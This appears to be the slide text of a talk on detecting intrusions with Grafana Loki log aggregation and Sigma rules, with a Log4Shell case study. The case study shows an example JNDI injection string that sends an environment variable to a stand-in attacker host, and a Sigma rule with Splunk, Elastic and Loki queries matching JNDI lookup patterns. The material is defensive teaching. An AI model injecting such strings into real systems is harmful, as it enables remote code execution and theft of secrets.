Open source security event management
Motivation
Many security breaches can be detected in logs, but how do you collect together logs from all parts of your IT infrastructure, then scan for evidence?

Loki
Log aggregation, based on S3-type cloud storage with no full-text index.

Sigma
A platform agnostic format to define rules for compromise detection and threat hunting.

Putting it all together
How to use rules from the Sigma project in Loki searches.
Poll

What is your current Log Aggregation System(s)?
What is your current Log volumes?
Log4Shell
When logging goes bad
public static Logger logger = LogManager.getLogger("Demo");
logger.info("query={}", request.query);
logger.info("${jndi:dns://ns.local/${env:HOSTNAME}}");
query = ${jndi:dns://attacker.server/${env:SENSITIVE_VARIABLE}}
"the single biggest, most critical vulnerability ever" - Amit Yoran, CEO, Tenable

"arguably the most severe vulnerability ever" - Dan Goodin, Senior Security Editor, Ars Technica

"most serious vulnerability I have seen" - Jen Easterly, Director, US CISA
Loki
Primer on Loki

Blob Store (S3)

Grafana
03/18  Project started by Tom and David
12/18  Launched at KubeCon NA
12/18  #1 on HN for ~12hrs!
04/19  KubeCon EU: context, live tailing
06/19  0.1.0 Beta release!
11/19  1.0.0 1.5TB/10 billion log lines a day in our Production cluster
08/20  1.6.0 10x metrics query performance, Lambda support
10/20  Loki v2.0!
....
04/23  Most recent release: Loki v2.8

https://github.com/grafana/loki

Loki: like Prometheus, but for logs.

Design Document
Tom Wilkie & David Kaltschmidt, March 2018

This document aims to explain the motivations for, and design of, the Grafana Loki service. This document does not attempt to describe in depth every possible detail of the design, but hopefully explains the key points and should allow us to spot any obvious mistakes ahead of time.
Who did we make Loki for?

- **DevOps**: Effective debugging and troubleshooting of applications
- **SRE**: Visualize and alert on services/app metrics
- **DataEng**: Build actionable insights from log data
Who did we make Loki for?

DevSecOps
- Effective debugging and troubleshooting of applications

SRE
- Visualize and alert on services/app metrics

DataEng
- Build actionable insights from log data
Key Sigma Concepts
When adversaries take intrusive actions within systems, they almost inevitably leave footprints:

- Network connections, which record their **communications**
- Files, which can be identified by their **content**
- Logs, which can record their intended **actions**

**However**…

- Ubiquitous encryption has **reduced** the effectiveness of network intrusion detection
- Files can be difficult to reliably **fingerprint** or may not be present
- Logs are often viewed as **just** for developers
Sigma is for log files, what Snort is for network traffic, and YARA is for files.
Sigma Project History

- Started 2017 by Florian Roth & Thomas Patzke as a way to share log rules in a machine-readable and system-agnostic way
  - By October 2017, the sigma repository had 130 signatures and a converter into multiple query languages
- Introduced MITRE ATT&CK framework integration in July 2018
- New, more flexible framework for converting rules released 2020
- Recognised in 2023 as one of the top 10 open source security projects
Understanding the Loki model
Prometheus but for Logs
How does Loki work?

<table>
<thead>
<tr>
<th>Timestamp</th>
<th>Labels/Selectors</th>
<th>Content</th>
</tr>
</thead>
<tbody>
<tr>
<td>2019-12-11T10:01:02.123456789Z</td>
<td>{app=&quot;nginx&quot;, env=&quot;dev&quot;}</td>
<td>GET /about 1034 Debug “page not found”</td>
</tr>
</tbody>
</table>

Indexed

Unindexed
Loki does not index the text of logs. Instead, entries are grouped into streams and indexed with Prometheus-style labels.

Think of it more like a table of contents than an index.
A **log stream** is a stream of log entries with the **same labels**

<table>
<thead>
<tr>
<th>Timestamp</th>
<th>Labels</th>
<th>Request</th>
</tr>
</thead>
<tbody>
<tr>
<td>2019-10-13T10:01:02.000Z</td>
<td>{app=&quot;nginx&quot;,env=&quot;production&quot;}</td>
<td>GET /about</td>
</tr>
<tr>
<td>2019-10-13T10:03:04.000Z</td>
<td>{app=&quot;nginx&quot;,env=&quot;production&quot;}</td>
<td>GET /</td>
</tr>
<tr>
<td>2019-10-13T10:05:06.000Z</td>
<td>{app=&quot;nginx&quot;,env=&quot;production&quot;}</td>
<td>GET /help</td>
</tr>
<tr>
<td>2019-10-13T10:01:02.000Z</td>
<td>{app=&quot;nginx&quot;,env=&quot;development&quot;}</td>
<td>GET /users/1</td>
</tr>
<tr>
<td>2019-10-13T10:03:04.000Z</td>
<td>{app=&quot;nginx&quot;,env=&quot;development&quot;}</td>
<td>GET /users/2</td>
</tr>
</tbody>
</table>
SELECTING LOG STREAMS WITH LOGQL

```{container="redis", cluster=~"play.*"} |= "Failed" |~ "Invalid.*argument"
```

**Label matchers**
- `=` contains string.
- `!=` does not contain string.
- `=~` matches regular expression.
- `!~` does not match regular expression.

**Filter expressions**
- `|=` contains string.
- `!=` does not contain string.
- `|~` matches regular expression.
- `!~` does not match regular expression.
1PB Raw Logs
80TB Label selector
1TB Timeframe
120GB+/s Brute force search - heavily parallelized
Dissecting the Log4Shell Sigma Rule
title: Log4j RCE CVE-2021-44228 Generic
id: 5ea8faa8-db8b-45be-89b0-151b84c82702
status: test
description: Detects exploitation attempt against log4j RCE vulnerability reported as CVE-2021-44228 (Log4Shell)
references:
  - https://www.lunasec.io/docs/blog/log4j-zero-day/
author: Florian Roth (Nextron Systems)
date: 2021/12/10
modified: 2022/02/06
tags:
  - attack.initial_access
  - attack.t1190
  - detection.emerging_threats
logsource:
  category: webserver
detection:
  keywords:
    - \${jndi:ldap:/'
    - \${jndi:rmi:/'
    - \${jndi:ldaps:/'
    - \${jndi:dns:/'
  filter:
    - 'w.nessus.org/nessus'
    - '/nessus}'
  condition: keywords and not filter
falsepositives:
  - Vulnerability scanning
level: high

title: Log4j RCE CVE-2021-44228 Generic
id: 5ea8faa8-db8b-45be-89b0-151b84c82702
status: test
description: Detects exploitation attempt against log4j RCE vulnerability reported as CVE-2021-44228 (Log4Shell)
references:
  - https://www.lunasec.io/docs/blog/log4j-zero-day/
author: Florian Roth (Nextron Systems)
date: 2021/12/10
modified: 2022/02/06
tags:
  - attack.initial_access
  - attack.t1190
  - detection.emerging_threats
logsource:
category: webserver
falsepositives:
  - Vulnerability scanning
level: high
detection:

  keywords:
  - '${jndi:ldap:/'
  - '${jndi:rmi:/'
  - '${jndi:ldaps:/'
  - '${jndi:dns:/'

  filter:
  - 'w.nessus.org/nessus'
  - '/nessus}'

  condition: keywords and not filter
Using logs for intrusion detection has its own challenges:

- Log data has very little standardisation - many formats, transformations, etc.
- Many log aggregation frameworks, like Loki, use bespoke query languages
  - An optimal SQL query might not be an optimal Loki query
- Unlike network traffic, there is often not a single location for logs
  - E.g., CSP logs are *often* stored apart from application logs

Sigma doesn't try to solve these problems by itself. The project includes an extensible Python library that enables additional:

- Backends to convert Sigma rules into a variety of query formats
- Pipelines to modify queries to reflect different logging configurations
Splunk:
index=* ("${jndi:ldap:/}" OR "${jndi:rmi:/}" OR "${jndi:ldaps:/}" OR "${jndi:dns:/}") AND NOT ("w.nessus.org/nessus" OR "/nessus")

Elastic:
(((+$jndi:ldap:/*) OR (+$jndi:rmi:/*) OR (+$jndi:ldaps:/*) OR (+$jndi:dns:/*)) AND NOT ((+w.nessus.org/nessus*) OR (+/nessus*))))

Loki:
{job=~".+$"} |~ `(?i)$\{jndi:ldap://|\$\{jndi:rmi://|\$\{jndi:ldaps://|\$\{jndi:dns:// ` !~ `(?i)w\.nessus\.org/nessus` !~ `(?i)/nessus`\`
Questions?
Summary

- Loki is an OSS tool for aggregating and searching logs.
- Sigma is a collection of rules to search for intrusions.
- Grafana has brought Sigma rules to Loki.
- Try it out!
  - [github.com/grafana/loki](https://github.com/grafana/loki)
  - [github.com/SigmaHQ/sigma](https://github.com/SigmaHQ/sigma)
  - [github.com/grafana/detect-plugin](https://github.com/grafana/detect-plugin)

[grafana.com/](https://grafana.com/)
Thank you